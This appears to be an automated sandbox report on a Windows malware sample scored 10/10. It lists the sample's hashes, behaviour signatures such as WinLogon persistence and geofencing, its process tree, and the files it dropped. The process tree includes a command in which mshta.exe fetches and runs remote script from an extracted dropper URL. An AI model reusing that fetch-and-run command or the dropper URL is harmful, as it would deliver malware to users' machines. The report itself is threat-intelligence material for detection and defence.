Overview

overview

10

Static

static

7

4784f322c5...18.exe

windows7-x64

4784f322c5...18.exe

windows10-2004-x64

Analysis

  • max time kernel
    9s
  • max time network
    10s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/07/2024, 00:52

Sharing

Copy URL Twitter E-mail

Errors

Reason
Machine shutdown
Report Analysis Logs

General

  • Target

    4784f322c5c68fedf2b6d3d2397c2aeb_JaffaCakes118.exe

  • Size

    565KB

  • MD5

    4784f322c5c68fedf2b6d3d2397c2aeb

  • SHA1

    105bb3e04a56023cdcbf59c102fe2fc54ae4f93f

  • SHA256

    ad4f358a812fd9866556b0117c5c34190e45dfb04512ca6045081f0f0d6f877d

  • SHA512

    5e391659d9f45aea0c1bc1b326e9ab84f3a47c39bd8933a13de951775b33e98278c3e11b52df48b9cf6ba824782e9002b9875fc9be60dfdb975887a466745988

  • SSDEEP

    12288:Nnz4ePAs5ziotAjYsk0IfXV2GNvJ3IG4MMPtqV2uXD0:Jz4kAs5Ol3IfXV2+IXPS0

Score
10/10
persistenceupx

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://reporteriche.com/inst.php?id=abs_09

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4784f322c5c68fedf2b6d3d2397c2aeb_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\4784f322c5c68fedf2b6d3d2397c2aeb_JaffaCakes118.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" http://reporteriche.com/inst.php?id=abs_09
      2⤵
        PID:4976
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\scgdfgasfbh.bat" "
        2⤵
          PID:4612
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x4 /state0:0xa39aa055 /state1:0x41c64e6d
        1⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:2284

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Roaming\scgdfgasfbh.bat
              Filesize

              266B

              MD5

              48ea568cf96a7875c77dda4bdb91cc5d

              SHA1

              0bd14d654d7faa96e4711509f3bc6ead76c1ab90

              SHA256

              24ead5792586eed89659a01568c7ee6889bed6f8e4c5993126dcb67153ac82bd

              SHA512

              c9df5b6a534a7e8a66eda674080136525b0bc3f6fcb690b876a46362cd652b87752d67d06a7cbcef72f156c97ef1f32147b369b916d7bc1d48003f191ff49af6

              Download Submit

            • memory/4860-0-0x0000000000400000-0x00000000006BC000-memory.dmp

              Filesize

              2.7MB

              Download

            • memory/4860-1-0x00000000025C0000-0x00000000025C1000-memory.dmp

              Filesize

              4KB

              Download

            • memory/4860-8-0x0000000000400000-0x00000000006BC000-memory.dmp

              Filesize

              2.7MB

              Download